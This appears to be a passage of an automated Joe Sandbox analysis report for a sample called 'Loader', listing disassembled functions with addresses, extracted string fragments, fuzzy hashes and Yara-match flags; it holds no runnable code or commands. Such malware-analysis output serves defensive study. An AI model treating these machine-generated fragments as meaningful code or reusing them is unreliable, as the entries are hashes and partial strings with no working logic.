Opcode Fuzzy Hash: 4c64b392158ef95758db5195f6bfe28b07b5dbeba005e37c72a12c266440b0d5
Instruction Fuzzy Hash: 8CE19E71A083148BC724DF18C892B6BB3B2EFD5728F09991CE8958B394E774CA45C797

Function 00415550 Relevance: 4.1, Strings: 3, Instructions: 335COMMON

Download Yara Rule

Strings

]A, xrefs: 00415A29, 00415AA1
Z\, xrefs: 0041564B
RT, xrefs: 00415661

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: ]A$RT$Z\
API String ID: 0-3002364447
Opcode ID: f178cfcbce63c68dac7e70b5c75a672024db79cd151f5839737f2b9baf2df979
Instruction ID: 210628bad3bdee1ad85cef19bb88204f3a5d035157cd9d8581494f842060a4d4
Opcode Fuzzy Hash: f178cfcbce63c68dac7e70b5c75a672024db79cd151f5839737f2b9baf2df979
Instruction Fuzzy Hash: D1C164B0908785CBD7398F15C8923EBBBE1EFC6310F048A2DC5D98B290E7789545CB96

Function 0041A7F4 Relevance: 4.0, Strings: 3, Instructions: 262COMMON

Download Yara Rule

Strings

EF, xrefs: 0041AA10
mn, xrefs: 0041A888
*, xrefs: 0041A7C6

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: *$EF$mn
API String ID: 0-32348637
Opcode ID: f2dc297f4d0dd81e31afc86b30908f26e147b16427d183d467743db5f04bc4e6
Instruction ID: 78484acd3ed8f116ae8c9ebdec3454197629ef1026e80454ddc64e9d0e7c258f
Opcode Fuzzy Hash: f2dc297f4d0dd81e31afc86b30908f26e147b16427d183d467743db5f04bc4e6
Instruction Fuzzy Hash: B971C2B55193008BC714DF18C8526ABB3F1EFD5324F09891EE8968B391E778CA85C78B

Function 0041A160 Relevance: 4.0, Strings: 3, Instructions: 248COMMON

Download Yara Rule

Strings

U,H., xrefs: 0041A315
^_, xrefs: 0041A372
NO, xrefs: 0041A24E

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: NO$U,H.$^_
API String ID: 0-3601589572
Opcode ID: f59adfae0600c59b464eeb4cbb6c773a232aad44db425fe3f3636cd47be2e4c5
Instruction ID: 1cdbfa15cff7b28a760699cc4d9a9ca35892a8390e58036e919da63d62c16f03
Opcode Fuzzy Hash: f59adfae0600c59b464eeb4cbb6c773a232aad44db425fe3f3636cd47be2e4c5
Instruction Fuzzy Hash: 8091667260C340ABD714DF69D8915AFFBE2EF95314F188D2DF1D487312D23586198B8A

Function 0040E730 Relevance: 3.9, Strings: 3, Instructions: 143COMMON

Download Yara Rule

Strings

3, xrefs: 0040E845
], xrefs: 0040E8A0
z, xrefs: 0040E755

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 3$]$z
API String ID: 0-716163397
Opcode ID: f90cbc3579fc565497ff6ee4193fdb5c385ea57fba32fdf6c8c6efba338a6e03
Instruction ID: ded0f97a3a7f8d6b96de41c5854acc652c0cb013d04f68da3b57d64e4bf3a79a
Opcode Fuzzy Hash: f90cbc3579fc565497ff6ee4193fdb5c385ea57fba32fdf6c8c6efba338a6e03
Instruction Fuzzy Hash: 6751F07650C3C08AD7248B3988513EFBFE19BE6350F088A6EE8E1873C2D6788556D717

Function 009BE997 Relevance: 3.9, Strings: 3, Instructions: 143COMMON

Download Yara Rule

Strings

3, xrefs: 009BEAAC
], xrefs: 009BEB07
z, xrefs: 009BE9BC

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: 3$]$z
API String ID: 0-716163397
Opcode ID: f90cbc3579fc565497ff6ee4193fdb5c385ea57fba32fdf6c8c6efba338a6e03
Instruction ID: 3c48c22b8b9ddbb680c4f660924d7bab55f2f46e377b4117e02d06695350cf04
Opcode Fuzzy Hash: f90cbc3579fc565497ff6ee4193fdb5c385ea57fba32fdf6c8c6efba338a6e03
Instruction Fuzzy Hash: 6051C07590C7C08EE7148B7885517EFBFE49BE6320F088A6DE4E58B782D6788506D713

Function 00425B60 Relevance: 3.8, Strings: 3, Instructions: 95COMMON

Download Yara Rule

Strings

QB, xrefs: 00425BA2
7T, xrefs: 00425B92
YJ, xrefs: 00425B9A

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 7T$QB$YJ
API String ID: 0-2012861140
Opcode ID: 348a969ac783280f7354c921cc8ef3141a5db397ceea0c668b8c8b72a4ea6fab
Instruction ID: 84da9d6d4d478727887313633b81fd1109ac95eaacaab1f49b3ae78d03b5d243
Opcode Fuzzy Hash: 348a969ac783280f7354c921cc8ef3141a5db397ceea0c668b8c8b72a4ea6fab
Instruction Fuzzy Hash: 0A31F2B1608394DFD7208F66A884B5BBBE8FB86714F50083DF6919B291D3B5D401CB56

Function 009B092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 009B09DC, 009B09DF, 009B09E4
l, xrefs: 009B0966
., xrefs: 009B095F

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: d5ccccb239d267dee77c9fd3047dc5bff684dd2e02043b2d7da714a558b8c7e8
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: B7318AB6900609CFDB10CF99C984AEEBBF9FF88324F24404AD841A7351D771EA45CBA4

Function 00404C20 Relevance: 3.5, Strings: 2, Instructions: 983COMMON

Download Yara Rule

Strings

8, xrefs: 004058C2
0, xrefs: 004058CA

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: f87d775cde22c12140ae9ae574634403aa8cfd6e1dc8fc49078fe9d452d971e3
Instruction ID: 44c2f961d9d2fd0725a907ee1c69a46b7a18f5ea75bac6b424c4b3803fa21eb3
Opcode Fuzzy Hash: f87d775cde22c12140ae9ae574634403aa8cfd6e1dc8fc49078fe9d452d971e3
Instruction Fuzzy Hash: D2925275608340DFD704CF28D890B9ABBE1BF88314F08886DF989972A1D779DA54DF86

Function 00426B80 Relevance: 3.0, Strings: 2, Instructions: 498COMMON

Download Yara Rule

Strings

", xrefs: 00426F36
", xrefs: 00426FF1

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: "$"
API String ID: 0-3758156766
Opcode ID: f620340ea252e716948f0fa5c8b8d71a57ebd00b373eb1a5db7a4af11f025c7c
Instruction ID: 2fbe9be778c44401b14c8544f3a4a0f984028eb969df0797a76f1ddc858e69b5
Opcode Fuzzy Hash: f620340ea252e716948f0fa5c8b8d71a57ebd00b373eb1a5db7a4af11f025c7c
Instruction Fuzzy Hash: A2F14872B083359FD714CE25D48076BB7E6AF84314F5A8A2EE89587381D738ED4887C6

Function 00421C10 Relevance: 3.0, Strings: 2, Instructions: 460COMMON

Download Yara Rule

Strings

YZ[, xrefs: 00421EDF
su, xrefs: 00421D49

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: YZ[$su
API String ID: 0-288859868
Opcode ID: 3de727c3006aac1d02ad1eba3b50e8eb52a600b770d2dc50c929145ac868ef8d
Instruction ID: 1592b51c3d3a95c44f6486d4e298a137f9057b32f70c7b7c599cd5ff1566e966
Opcode Fuzzy Hash: 3de727c3006aac1d02ad1eba3b50e8eb52a600b770d2dc50c929145ac868ef8d
Instruction Fuzzy Hash: FFE1E676E10226CFCB14CF65C8905FEB3B2FF59350B5A859AC841AB3A0EB349D51CB94

Function 009D817F Relevance: 2.9, Strings: 2, Instructions: 443COMMON

Download Yara Rule

Strings

IJI@, xrefs: 009D829D
,JHh, xrefs: 009D8720

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: ,JHh$IJI@
API String ID: 0-1373974188
Opcode ID: 80483e18b9b338854a6093c5caff4b942ab182073edae70bad74e1f23722d369
Instruction ID: 2b393685f1b67a7cbf4dcd31d4578fa08cf93ed4abe6efa4ae0ba8f663b5b2b3
Opcode Fuzzy Hash: 80483e18b9b338854a6093c5caff4b942ab182073edae70bad74e1f23722d369
Instruction Fuzzy Hash: 6EF1D270645B828BD725CF35C490BA3FBE5AF66314F18896EC4DA87793D738A406CB20

Function 00433728 Relevance: 2.9, Strings: 2, Instructions: 431COMMON

Download Yara Rule

Strings

hi, xrefs: 00433A7E
FG, xrefs: 004339A6

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: FG$hi
API String ID: 0-2975656991
Opcode ID: 1b15c0d533769789564c55a84b9d46d49656a6bc79b3f4abf94b7591e704551b
Instruction ID: 5761adcc475d1b9176705aee942d3dd0734a63e48ebe211b13f7300e83c9c293
Opcode Fuzzy Hash: 1b15c0d533769789564c55a84b9d46d49656a6bc79b3f4abf94b7591e704551b
Instruction Fuzzy Hash: 43D1157B629351CBCB189F68D86126A73F2FF8A751F0AC47DD9814B2A0E7398D60C705

Function 00422C40 Relevance: 2.8, Strings: 2, Instructions: 334COMMON

Download Yara Rule

Strings

G, xrefs: 00422FB0
E4P6, xrefs: 00422D8C

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: E4P6$G
API String ID: 0-1631430648
Opcode ID: 00911cf7020c9e833c602041a42d01bbfa587051465381e3c2d784d924fa597b
Instruction ID: 141d7ae2353e8ea17bd4679ef447fdf4569e824273780eab62ee8c3b6ec5c958
Opcode Fuzzy Hash: 00911cf7020c9e833c602041a42d01bbfa587051465381e3c2d784d924fa597b
Instruction Fuzzy Hash: 7EC10EB0608350EFE320DF25E881B6BBBB0FB85704F44582DF6854B291D738A905CB9B

Function 004042F0 Relevance: 2.8, Strings: 2, Instructions: 329COMMON

Download Yara Rule

Strings

), xrefs: 0040436B
IEND, xrefs: 004046E1

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: 6fa3d374dbcb2910d36b5a51fd3d6519d09f885a12709dd400f146ea80a6ded7
Instruction ID: 40ddf315bc510a555e98c0d08395a2b89c6241e0d5e2ab6782496bcc86a846a6
Opcode Fuzzy Hash: 6fa3d374dbcb2910d36b5a51fd3d6519d09f885a12709dd400f146ea80a6ded7
Instruction Fuzzy Hash: 5DD1B0B16083449FD710CF14D84575BBBE4ABD4308F14492EFA99AB3C2D779E908CB96

Function 009B4557 Relevance: 2.8, Strings: 2, Instructions: 329COMMON

Download Yara Rule

Strings

IEND, xrefs: 009B4948
), xrefs: 009B45D2

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: 424b87b23ebfc5edee88019edeab9c1360eb061e07b4875a86066e5969c7fa49
Instruction ID: a8d30051d80d71270e5085cdb84441e042aa886a32cdaae8bdafa190482f03ed
Opcode Fuzzy Hash: 424b87b23ebfc5edee88019edeab9c1360eb061e07b4875a86066e5969c7fa49
Instruction Fuzzy Hash: A8D1AEB1508344EFD720CF18C945B9BBBE4AF98314F14892DF9999B382D776D908CB92

Function 009E28D7 Relevance: 2.8, Strings: 2, Instructions: 264COMMON

Download Yara Rule

Strings

tsrq, xrefs: 009E2B63
tsrqtsrq, xrefs: 009E2A6B

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: tsrq$tsrqtsrq
API String ID: 0-3105251034
Opcode ID: af2436c337681c9ec86c168f3cc1510d7da5a2ac0128418214970d4a9cc6d02c
Instruction ID: 89d20f2bd957d02d989c90d19585b0780a0b14d6e8b6bebe01037d4877404883
Opcode Fuzzy Hash: af2436c337681c9ec86c168f3cc1510d7da5a2ac0128418214970d4a9cc6d02c
Instruction Fuzzy Hash: 31B1C075D082C49FDB02CBA988513EEBFF5AF5B350F188599D4946B392C2388E06DB52

Function 00418950 Relevance: 2.8, Strings: 2, Instructions: 256COMMON

Download Yara Rule

Strings

000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F8081, xrefs: 00418B70
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 00418A18

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F8081$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
API String ID: 0-423013716
Opcode ID: e49f95d848df277aabbfe59af4c0c77c4f8679c14c5b98e95531308ef60f5ab9
Instruction ID: 34c70433d2cf595c639098d163d463366321d90b618fe2b906cb92e03374b1fc
Opcode Fuzzy Hash: e49f95d848df277aabbfe59af4c0c77c4f8679c14c5b98e95531308ef60f5ab9
Instruction Fuzzy Hash: 6D711A3379998047D32C893C4C523EA7A834BD6334B2DC37FA6B5CB3E5E9A948464346

Function 009C8BB7 Relevance: 2.8, Strings: 2, Instructions: 256COMMON

Download Yara Rule

Strings

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 009C8C7F
000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F8081, xrefs: 009C8DD7

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: 000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F8081$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
API String ID: 0-423013716
Opcode ID: e49f95d848df277aabbfe59af4c0c77c4f8679c14c5b98e95531308ef60f5ab9
Instruction ID: b350d2b08dfad3cddd4f3af03cef4c89b8c8199f4572ad4adc154e5907d9dd9d
Opcode Fuzzy Hash: e49f95d848df277aabbfe59af4c0c77c4f8679c14c5b98e95531308ef60f5ab9
Instruction Fuzzy Hash: 43711A33B9998047D32C993C8C623AA7A834BD6334B2DC77DE5B6CB3E5D96948054342

Function 009D34C7 Relevance: 2.7, Strings: 2, Instructions: 214COMMON

Download Yara Rule

Strings

2[Z/, xrefs: 009D36BE
#FJ5, xrefs: 009D36DC

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: #FJ5$2[Z/
API String ID: 0-3812896179
Opcode ID: dcb3f139eba3a7a856bf6b5c059edf140f68dcf5fbb0d78b7f6c1f318593981a
Instruction ID: 87e3901baae9b7969d1134b76b72f7d7ea2ef47f394d0fde7dac042e0205a888
Opcode Fuzzy Hash: dcb3f139eba3a7a856bf6b5c059edf140f68dcf5fbb0d78b7f6c1f318593981a
Instruction Fuzzy Hash: DF5167B4684304ABC3249F68DC92B3B7398DF45326F54C53EF98A8B391E275DE058213

Function 00427735 Relevance: 2.7, Strings: 2, Instructions: 164COMMON

Download Yara Rule

Strings

TTaf, xrefs: 004277A1
q#r`, xrefs: 00427797

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: TTaf$q#r`
API String ID: 0-1724227158
Opcode ID: 976d9f92bace7140b94e37c3aab561404d0d229972a98e03202156d3fba91c55
Instruction ID: cefd55524d8903eca0de03384601bca5c8ec7d2ba53e02499352576e22cd7ac8
Opcode Fuzzy Hash: 976d9f92bace7140b94e37c3aab561404d0d229972a98e03202156d3fba91c55
Instruction Fuzzy Hash: 844159A460C7918BE3228B3698917B3FFD1DFA7301F58848ED5E657342D3786809C769

Function 009D799C Relevance: 2.7, Strings: 2, Instructions: 164COMMON

Download Yara Rule

Strings

TTaf, xrefs: 009D7A08
q#r`, xrefs: 009D79FE

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: TTaf$q#r`
API String ID: 0-1724227158
Opcode ID: cd4825d01a7de97a904a131dba033b456600299a3aac080e78577a4ca6086651
Instruction ID: b34bf86c3944dcf34bf046c0e0c0e9f4a0c6fa4a54f4990e437e1e328b45ca21
Opcode Fuzzy Hash: cd4825d01a7de97a904a131dba033b456600299a3aac080e78577a4ca6086651
Instruction Fuzzy Hash: E44156A46487C18BE3228B358891BB3FFD59FA3301F18848ED5E647342E379690AC712

Function 009C57B7 Relevance: 2.7, Strings: 2, Instructions: 154COMMON

Download Yara Rule

Strings

Z\, xrefs: 009C58B2
RT, xrefs: 009C58C8

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: RT$Z\
API String ID: 0-45903145
Opcode ID: 411d9b8da02ecbe57fe3d87b3f2dae6860488ea0277257753c84e804aacd874c
Instruction ID: 7cd3a2d8470cf5dac0bdb1c65ed49d99ee16195f868c0f39a3a3ce2874f29b60
Opcode Fuzzy Hash: 411d9b8da02ecbe57fe3d87b3f2dae6860488ea0277257753c84e804aacd874c
Instruction Fuzzy Hash: 675140B08097858BEB398F16C4927DBBBA1EFDA310F158A1CC2CD1B214DB751582CB87

Function 00414DE2 Relevance: 2.6, Strings: 2, Instructions: 132COMMON

Download Yara Rule

Strings

stu, xrefs: 00414E72
|HqQ, xrefs: 00414EB2

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: |HqQ$stu
API String ID: 0-4032970832
Opcode ID: e6cdc58068624a17f213566b6962a194213f6b5e79a0bc06efda5763e0c3e876
Instruction ID: a406fa71b24be76d205cf2b262f7aa84c7772a6c2d049a62b7e59b99234d22b0
Opcode Fuzzy Hash: e6cdc58068624a17f213566b6962a194213f6b5e79a0bc06efda5763e0c3e876
Instruction Fuzzy Hash: B531C676A047008BD7249F25C8917ABB3F1FFC5724F08992EE49A8B390D738D942CB46

Function 009C5049 Relevance: 2.6, Strings: 2, Instructions: 132COMMON

Download Yara Rule

Strings

stu, xrefs: 009C50D9
|HqQ, xrefs: 009C5119

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: |HqQ$stu
API String ID: 0-4032970832
Opcode ID: 559ea61eae4bbac10d520917285f759032759262486b92aad8f276b85233a2d1
Instruction ID: bc3b6478623310d9c511bf1d17a583bc2b940ce943a6fe4249f3f3aca10d7ad5
Opcode Fuzzy Hash: 559ea61eae4bbac10d520917285f759032759262486b92aad8f276b85233a2d1
Instruction Fuzzy Hash: 8A31E7759086408BD724DF28C895BABB3E1FFC5324F09892DE49A8B390D738D941CB46

Function 009B5AD3 Relevance: 2.6, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

8, xrefs: 009B5B29
0, xrefs: 009B5B31

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: a138725a6ab4a61af5dd9e0d312d158b6fb7b5ff3223757169cb261a1299a174
Instruction ID: 80ad9417f9b0c606cf19a5e6338d7b7ef20f7d1eff1582b924b1839afceb5b58
Opcode Fuzzy Hash: a138725a6ab4a61af5dd9e0d312d158b6fb7b5ff3223757169cb261a1299a174
Instruction Fuzzy Hash: 8331F23660E3859FD305CA28C48069FBFE2AFE5254F49895DF8C4A7352C674D909CB93

Function 009C7028 Relevance: 2.5, Strings: 2, Instructions: 33COMMON

Download Yara Rule

Strings

d, xrefs: 009C7030
j, xrefs: 009C7028

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: d$j
API String ID: 0-3960525582
Opcode ID: 7f736a6bc821feef39258b4661390aa6ea7bc0b85b3b00dadd4306ce408507d5
Instruction ID: ea4e984e14e5ad3706a71668a5faa33842df438ff54ecb69371887d1c5d6c24b
Opcode Fuzzy Hash: 7f736a6bc821feef39258b4661390aa6ea7bc0b85b3b00dadd4306ce408507d5
Instruction Fuzzy Hash: C5F0B42050C3D14AE712CE39849476ABFE09BA3745F04189DE4C19B193CA36855ACB97

Function 0041CF80 Relevance: 2.0, Strings: 1, Instructions: 706COMMON

Download Yara Rule

Strings

GA, xrefs: 0041D6FB

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID:
String ID: GA
API String ID: 0-1012873972
Opcode ID: a470edaa19b8027d79638442b578a7343698faacf9491a15d21b63a7ca0afd6d
Instruction ID: ad2a32ad4eefe630ca07c48b1e523dab9a45d98ee02fbbe80087cd7d0f32b4d6
Opcode Fuzzy Hash: a470edaa19b8027d79638442b578a7343698faacf9491a15d21b63a7ca0afd6d
Instruction Fuzzy Hash: 71627CB0609F818ED365CF3C9845797BFE6AB5A324F048A5DE0FA873D2C77560018B66

Function 00429328 Relevance: 1.8, APIs: 1, Instructions: 328COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 00429611

Memory Dump Source

Source File: 00000000.00000002.2090149567.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2090149567.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Loader.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 9f1f2ba0650d04e97a328b07aeddd4f14653f2fe5185db1a395013f9a70e6131
Instruction ID: f3c3393b317a265f322ec29b699556c12beebf814c60af9519f4b2a098048e0c
Opcode Fuzzy Hash: 9f1f2ba0650d04e97a328b07aeddd4f14653f2fe5185db1a395013f9a70e6131
Instruction Fuzzy Hash: B4A16971B04B418BE325CB3588917A3BBD2AFA2314F188A2DD4E74B3D2D639BC06C755

Function 009D958F Relevance: 1.8, APIs: 1, Instructions: 328COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 009D9878

Memory Dump Source

Source File: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_Loader.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 900165b1f5a8d6a26e396c3a070d6880c5825f8c5ad5c56fe59a29356546c727
Instruction ID: 6a0d6c4264472e9d97c958b18108176812021997dbe853e48bf8ec083a506cde
Opcode Fuzzy Hash: 900165b1f5a8d6a26e396c3a070d6880c5825f8c5ad5c56fe59a29356546c727
Instruction Fuzzy Hash: 95A15971A447418BE3258F25C891BA3BBD6AFA2314F18CA2DD0EB4B791D735B806CB51

Function 004376B0 Relevance: 1.7, Strings: 1, Instructions: 487COMMON

Download Yara Rule

Strings

r{C, xrefs: 00437B65

Memory Dump Source

